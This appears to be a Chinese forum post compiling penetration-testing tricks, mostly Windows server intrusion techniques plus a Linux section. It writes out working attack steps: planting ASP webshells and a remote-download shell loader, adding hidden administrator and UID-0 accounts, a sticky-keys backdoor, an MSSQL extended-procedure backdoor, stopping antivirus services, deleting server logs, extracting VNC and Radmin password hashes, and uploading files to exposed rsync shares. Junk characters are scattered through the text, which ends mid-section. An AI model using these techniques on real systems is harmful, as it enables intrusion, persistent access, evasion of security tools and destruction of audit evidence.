渗透技巧总结

admin

旁站路径问题
; ?0 ]  v7 \% ]8 B# D1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
$ m% ^& z5 P0 Q/ i. m" `0 A        
- S/ f! k( @& v3 q
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

% c  y! L( H( yUsage:Cscript vWeb.vbs",4096,"Lilo"
- L/ Z- U( q2 H# B0 n        WScript.Quit
) Q4 [% E/ n5 H+ q( qEnd If
Set ObjService=GetObject
1 o) m2 I2 ?' |1 d) J0 I2 I- o3 n
("IIS://LocalHost/W3SVC")
8 V& E9 j4 k6 D; i' qFor Each obj3w In objservice
) W! _1 R/ X" y& z" X, B        If IsNumeric(obj3w.Name)
3 J6 v9 Z3 d8 e2 Q& I  U) w
1 E  U/ `7 C; h& `2 K& Y7 M/ GThen
+ ?1 H. y5 m3 ^- f                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
# {/ E; y. I- Y         
( h3 d6 X3 L4 D' C; b" r5 h
6 f$ n. L6 P( v2 B, b. i& F       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

/ Z6 _" V3 }6 |* V1 X6 F) d/ K# w) `! [<> 0 Then WScript.Quit (1)
6 b& K- ?+ v% H0 e0 V                WScript.Echo Chr(10) & "[" &
* Y$ _6 @4 p4 U4 ?
OService.ServerComment & "]"
8 v0 K: E' ^" g$ j- A, V0 J' [                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
0 f, j7 ], K/ h
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
. ?+ [# Z4 T# J# m$ y; I                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
$ m( C1 L, D# D; @7 I3 e3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
- s* K/ c; D# M, E3 f2 z% {4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
3 Z$ `8 N7 D* N* lurl/wp-content/plugins/akismet/akismet.php
1 _! t5 d' x$ X! \& L* k! ~url/wp-content/plugins/akismet/hello.php
——————————————————————
4 G, X1 k1 F6 S0 B! Q9 Z* s5 aphpMyAdmin暴路径办法:
; G9 y4 Y, y8 v+ j3 X) Y: tphpMyAdmin/libraries/select_lang.lib.php
; o, u# e  E2 m/ r& N( V# uphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
6 k) {$ \: u4 f9 r  P4 _8 _3 yphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
4 z% y* N, D& `+ f7 }  Z# D网站可能目录(注：一般是虚拟主机类）
- H4 q6 S; Y$ f4 h# Y0 Xdata/htdocs.网站/网站/
3 L* ]5 m  A' R0 l6 W9 m5 K4 ?————————————————————
% R: t& G$ i# O+ x0 V2 NCMD下操作VPN相关
7 `1 F9 d8 r$ Wnetsh ras set user administrator permit #允许administrator拨入该VPN
7 P% q' @# X" s  ^5 U% j7 Cnetsh ras set user administrator deny #禁止administrator拨入该VPN
- |3 H  g! d1 B& t: z, l$ I/ fnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
8 u6 ~% Y- r9 @% X$ N0 K  l- Pnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
6 y' n0 x/ D! }8 e% j3 q$ f$ x需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
" |/ B9 R/ P; o% \' k4 Qexec master.dbo.sp_addlogin test,123
# n4 g) h# E  H! D7 A8 k4 y% t& KEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
/ a' f: ?8 N3 L' g+ |2 e$ t& F
7 J7 y& C# b; e" \# L. a- {另类的加用户方法
3 H' t1 {3 ]6 W在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
4 J. i% E6 s8 |7 |; Zjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
8 c8 d2 H; b, O. ]  Z6 qz.changePassword("123456","")
- Q! }: k) s$ ?# n) H4 H$ @z.setting("AccountType")=3;

) s* \* \% T6 Z- i; v2 {( L2 dvbs:
7 r8 u9 \* T+ \# _$ E9 h" MSet   o=CreateObject( "Shell.Users" )
  o: y/ [- ]2 q* k0 MSet z=o.create("test")
) Y; ]" [( L- ^7 z1 Sz.changePassword "123456",""
z.setting("AccountType")=3
0 }" ?2 u6 B8 D/ I3 e& F——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
6 ]: O' a1 \. J5 n: d( J
' f+ V4 P( v4 Q4 E3 c命令如下
* C; w/ u! U  `4 d1 ~7 K7 t/ U/ [2 gcacls c: /e /t /g everyone:F           #c盘everyone权限
: i, @! t9 }4 _$ {5 a0 _8 wcacls "目录" /d everyone               #everyone不可读，包括admin
- J% f* A9 t: D& u, {————————以下配合PR更好————
/ S2 _: S' w6 T$ o* u3389相关
- n9 S5 z# w. `a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
* ?* c1 [+ l3 i  C; t3 A9 C0 @b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
9 T) j4 y9 ~6 x5 N5 _; N/ R2003 运行mstsc /console   

) I1 A, M3 g) @! S杀软关闭（把杀软所在的文件的所有权限去掉）
' d% [5 y. h6 k5 n6 G  N处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
  I/ Q' q* b- H+ W' X* O4 Gnet stop "Symantec Event Manager" /y
7 q. _# D  u/ j! h: Znet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
4 n' V0 H  Y& F% ^3 H4 m% I
卖咖啡：net stop "McAfee McShield"
( m: B2 B) w) R. B& \- @————————————————————

5次SHIFT：
7 r# O5 M! ]% {& D7 \copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
: T* c6 Z8 A3 r3 [copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
% x' X! p; S4 y/ Y1 {, s: Zcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
/ k" S2 n6 t9 G* x) V) N——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
/ s% D' j  z$ X! @6 n% s: OMSSQL扩展后门：
7 o$ b7 S: m- R0 E" z4 MUSE master;
+ p/ E7 p* w$ C4 GEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
$ u2 y/ x# F$ N, X& nC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
" A2 J# C2 ?& T  G- W: {  Uex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
5 t; p" S  r4 f) Q$ D6 {3 A. Y0 g不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
2 h. W; C: c0 v4 i7 {& f当停止msftpsvc服务后可直接删除ex011124.log
' F; k1 h. R8 h, f8 K
! R6 A+ D$ A3 i1 ^MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
' h+ t) T5 i2 k( N6 z6 N' KHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
: @/ J% R! Q8 M" U- ZMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
3 @" H3 R  \* O- `8 m' c  f4 t—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
6 E# r8 A' ?9 H
: d2 h) v1 W( O. }6 d6 [<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
$ w  ?1 R/ ]; W$ o9 V7 N* h8 E.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
) n* s' H. C5 F" hGetRemoteData = .ResponseBody
End With
# L4 z) y/ [/ Z2 \7 pSet Retrieval = Nothing
. ]! B& c! y) }, c  VSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
' l7 K- A) R4 J/ t8 K1 W2 P.Type = 1
.Open
  e/ L  _, h$ w& c" G9 @.Write GetRemoteData
* u. p# ?, k! c! ^' q.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
; G# Y. C5 h8 P) e3 x+ C* {3 ?.Close()
End With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
6 b( s) A8 ~$ }
) B: {" O' [8 M- r1 x! b, H3 FVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
7 x% R1 \+ k0 ~8 MHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
. q) n9 D- N# a9 Z* ]HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
8 U# T( r; h" m: B/ O6 I然后用HASH版连接。
) x5 E3 L7 C4 F% s0 K如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
  _: P5 c7 b: o6 D5 Q" H- w: }保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
8 P" |* |) ~: w" O" G9 W——————————————————————
$ Y9 W$ N, [5 i! `9 p2 _搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
$ ^, j& C/ Q! {9 i2 R——————————————————----------
- k5 w; S& Z" n! ]! l$ {WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
: d8 Y- k) R& T9 C( ?4 P+ f来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
3 A4 C* l" h6 ?2 }3 {没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

. l( D  h& q& W1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
; F& [8 @0 P, qstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
0 \) E/ t) y# sstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

" \) f! \* I9 K2 \- {2 S";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
/ l3 m9 n! U2 [, {( t; a
strSQLDBName & ";"
. ^# k1 e8 t! s/ N# F2 T1 Q& \& \conn.open strCon
# t% S! D: I% @" ]dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
% e+ n7 k0 O3 @rs.close
%>
复制代码
8 G9 [8 d" T8 N" c0 e# E******liunx 相关******
# j7 R" l8 O- |7 z. P一.ldap渗透技巧
1.cat /etc/nsswitch
* O0 Y- }8 U- c3 Z" N4 x8 t看看密码登录策略我们可以看到使用了file ldap模式

/ O* F# T* f% y6 Y% N2.less /etc/ldap.conf
$ h9 {+ G% F- l' ubase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

; U  V, N( u! S0 ^3.查找管理员信息
; \% G5 X( A( {5 ~匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
7 V4 {: [/ g2 }% h' |
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# t) H% t, G0 P4 c( O有密码形式
0 F4 g8 W3 S6 J# f% e% Pldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

; ]' U$ G8 L: G( g, Y% I" g; S"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: R# O0 p' k7 p; s
5 ^& ?$ C, i: J$ f3 q
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
/ E0 N2 l2 O0 d; u! j/ K$ ~
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

" ]7 |4 k  K6 E0 O2.less /etc/ldap.conf
" @7 B" _5 {3 F5 z2 sbase ou=People,dc=unix-center,dc=net
! r: [3 @/ u/ D找到ou,dc,dc设置
, D5 k; a9 U: W
" _; r8 U% V. m' H) C2 O3.查找管理员信息
& {. S* [( ^/ a  j* n8 l匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

" t& q; b) ~& n. U+ D6 H& d1 s# P"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
$ l9 A, U8 K% X# g2 kldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* O4 Q+ t/ V8 a7 I, e
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& C, M( p+ N8 q% s4 Q" c$ q

' z/ ~8 Y9 N. S! B- ?& z4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
1 U3 j9 m+ Z" m9 J6 q" D& Udn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
& r7 z$ V2 x! n; d6 M! x( ]+ Q
dn: uid=manager,dc=ruc,dc=edu,dc=cn
; o1 \$ E8 k1 l; x& R! iuid: manager
3 a* z! f  N% B2 yobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
( j# ?1 {- Z& ]: G3 c! b* Esn: manager
; }, `: N" a' \0 @* W7 L$ ~cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
$ d) B9 `" N/ d8 J+ msn: superadmin
$ k! k5 h2 Q7 }) G. I4 p& gcn: superadmin

$ U! c5 m) r, n3 fdn: uid=admin,dc=ruc,dc=edu,dc=cn
  h8 o$ n3 @, s& Q6 p8 |% B) M7 ouid: admin
* r7 W5 l! C$ W1 ?0 r* _3 @objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin
" i. `) J5 c. n3 U
3 g% B' s* o: p! A' A7 idn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
6 y. x1 x' H" O/ f' o* muid: dcp_anonymous
4 I: V) y3 y) c4 F- S! ]" VobjectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
! q/ j# W$ p7 @0 s( ]5 Icn: dcp_anonymous
' X2 N' W8 B' U# F
: h* \5 J4 b) P/ F/ z2.查看基类
2 w' T/ g& Q: c6 q& J- pbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
" Q- H* [2 n5 K1 m% }
1 B6 L  h( m  O5 D: z- Y. Cmore
version: 1
/ X; P7 ?( V8 A+ O8 B4 t% W5 qdn: dc=ruc,dc=edu,dc=cn
8 z* a- G$ n  t+ G1 J$ m2 s* rdc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
# H1 g( K! j4 G, nversion: 1
dn:
7 ^- Y( ]0 p6 CobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
' {' g0 f, d5 ^supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
1 g: z% Q8 j! JsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
$ z4 w1 G5 t. p1 l: u5 F  g& i6 j) ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
7 P) }; Y& i4 P8 [+ LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
5 U& E- ]8 |2 {' k* x1 N% esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
1 b: C5 @0 c6 p( Y, S! osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
) M( z! u+ N2 {: D8 i4 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: r8 O1 s' B% H" H3 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
; e) U1 Z& P% X  HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
0 H, ~, e) B: I* ~* A  K" `. T) MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
7 p  P1 l; F" ]  A8 y4 \5 J& {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
9 m) ]6 v; Z# H, V  r  }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
( K1 d* y3 _9 [- z+ ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
$ [% f4 P9 q6 s5 i' DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
7 U- n+ ~9 d+ xsupportedExtension: 1.3.6.1.4.1.1466.20037
4 @) I! q/ D0 dsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
  Y9 G& R6 u4 ]* ?: \8 F# i& wsupportedControl: 2.16.840.1.113730.3.4.4
, b7 m# ~5 F! P" J; PsupportedControl: 2.16.840.1.113730.3.4.5
+ C: Z/ V8 J, r' G- ]supportedControl: 1.2.840.113556.1.4.473
+ C, K  `# R( ?* DsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
2 h- l" w& \1 E5 fsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
7 J/ L1 I/ M0 Y- M7 E& xsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
* h1 N2 c1 R; JsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
/ x9 Z. P0 G8 e; U" c9 v6 j0 tsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
' U! M: Q+ O3 `6 f+ E( wsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
6 I" o! h5 F6 n1 I! bsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
' s$ j4 N" ?6 K! U/ v7 x3 B* tsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
4 s. V* I; {5 c/ m" g: C, ~supportedControl: 2.16.840.1.113730.3.4.12
1 o7 N6 s. z# |0 s( |  B8 esupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
+ f5 l( ~2 d& n1 A7 MsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
1 h' S( r$ P" k( nsupportedLDAPVersion: 3
, b! R  k& a8 D5 OvendorName: Sun Microsystems, Inc.
- b! G* h& |% zvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
+ c/ H. b! A5 L+ }7 ^( R6 Wnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
/ v) H0 Y4 z$ Q. h, r, D- J9 AsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
8 ~9 a- k# Z8 e+ l$ MsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
; O* w$ N7 F, n( w% w$ o; ysupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
3 p' X- |; @% ]supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
3 A" s0 N* A! L5 }' X2 a" U' _supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
; K- ^( i7 X' V  y( jsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
8 i5 z, ?- m/ P. wsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
+ t8 N) t6 @+ K# o6 D$ bsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
# l3 D6 P! R$ c6 M% O! BsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
7 a3 f  V2 @8 s8 S& fsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
# D8 x% X  h& |, g2 isupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
4 E* r1 u% G! }: A4 \. B7 w: `& }4 csupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
4 O! J. i2 F+ I, h) FsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
6 k, \- C- z1 r1 z- MsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
9 S  J9 v# t& [/ S0 M) u' i' gsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
) J- i/ W" s; z: V# |/ j: \. psupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
" _1 O9 J$ T0 {" |supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
& t5 z: |5 R* d0 G8 vsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
( z( p% \0 j& [2 Z- q* _1 KsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
2 K) n: r& E+ NsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
$ E- q0 T# S$ P: {3 NsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
4 R' }/ T1 ^5 @6 o9 jsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
8 U" B! t* ~6 V. C7 r9 d————————————
2. NFS渗透技巧
1 B) \0 m, @$ j8 xshowmount -e ip
" H& q, L9 u! u" F! [+ J+ y0 X( ^6 E列举IP
——————
7 S  w! i* {8 a% d% w8 B& |: |3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
7 j7 j2 I7 ?* N! M6 [img_auto
html_cms
img_cms
ent_cms
) F. h4 m; l# W& Z+ h9 oent_img
ceshi
4 E# |6 u) @' xres_img
' S, m- @+ j  @( Rres_img_c2
chip
0 q3 e# G$ V; _4 u6 e+ o$ jchip_c2
% B1 [& v+ o* X. Q% jent_icms
9 @. A& Y: Z! Q! q% `5 M% w2 Jgames
8 [* Y) D: f4 r8 wgamesimg
media
/ L* n+ `: B6 o* F$ ymediaimg
* v7 \& y/ X# g& c+ b  C) gfashion
; a* X$ d" k. P# T( l; J$ ^res-fashion
res-fo
1 i- x" v: y: ltaobao-home
- g- j$ o$ a5 U3 Ures-taobao-home
5 \7 d$ c5 H8 D# l' f! v0 A( chouse
" a6 ^: f! w( ?9 }. gres-house
) n5 G! x3 }/ J/ Q  ures-home
res-edu
res-ent
res-labs
# f; _4 a: j5 }, l0 q) Kres-news
! s: b* q! q- n& Q) @8 ures-phtv
res-media
) i% ?( L1 |& o, Q+ t, ^( khome
edu
news
( b+ p3 h2 E0 f% N8 P, e; kres-book
$ i6 I+ D$ j( J* n! h
8 k+ O) N3 W! w9 w' ^8 T; u看相应的下级目录(注意一定要在目录后面添加上/)
/ F! s$ S+ N  S1 Y8 ~
0 H8 T/ {' X3 \* j0 q: P& b* \
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
: C% M" ?5 j9 R/ I+ c* g3 irsync 210.51.X.X::edu/

' d3 i! ?4 M4 N' V! ~4 W2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
% c0 O! O" j, n" a/ ]3 H" I
3.向上更新rsync文件(成功上传,不会覆盖)
# ?! |- q( w' B1 w4 C7 R7 |8 p4 [9 lrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
* w+ k" F3 G0 l3 B  Uhttp://app.finance.xxx.com/warn/nothack.txt
( i$ Q. c) Q' g, c7 R
四.squid渗透技巧
1 F' x3 U; T8 [5 Inc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
. @# e& l4 w6 X1 f五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
0 X! [1 n0 r- k: D6 q0 K! B" r8 _$ J! a  |
: f1 e& E$ j" k/ L; Q六.joomla渗透小技巧
确定版本
+ u; J2 l0 T( Z1 `; u1 F2 aindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
+ P. }# B* p; a7 J$ Y0 z8 f% u
15&catid=32:languages&Itemid=47

重新设置密码
4 \0 }# Y7 w: }, n9 Lindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
  N! g+ p  G( m0 @) q9 a+ E% Fuseradd -o -u 0 nothack
4 b' t; Z! q  b7 t. e9 B. C
八.freebsd本地提权
7 g+ n: j( l$ v) x0 F$ o- M$ I% {[argp@julius ~]$ uname -rsi
8 G, O* \+ n5 C0 p5 ?. ^* freebsd 7.3-RELEASE GENERIC
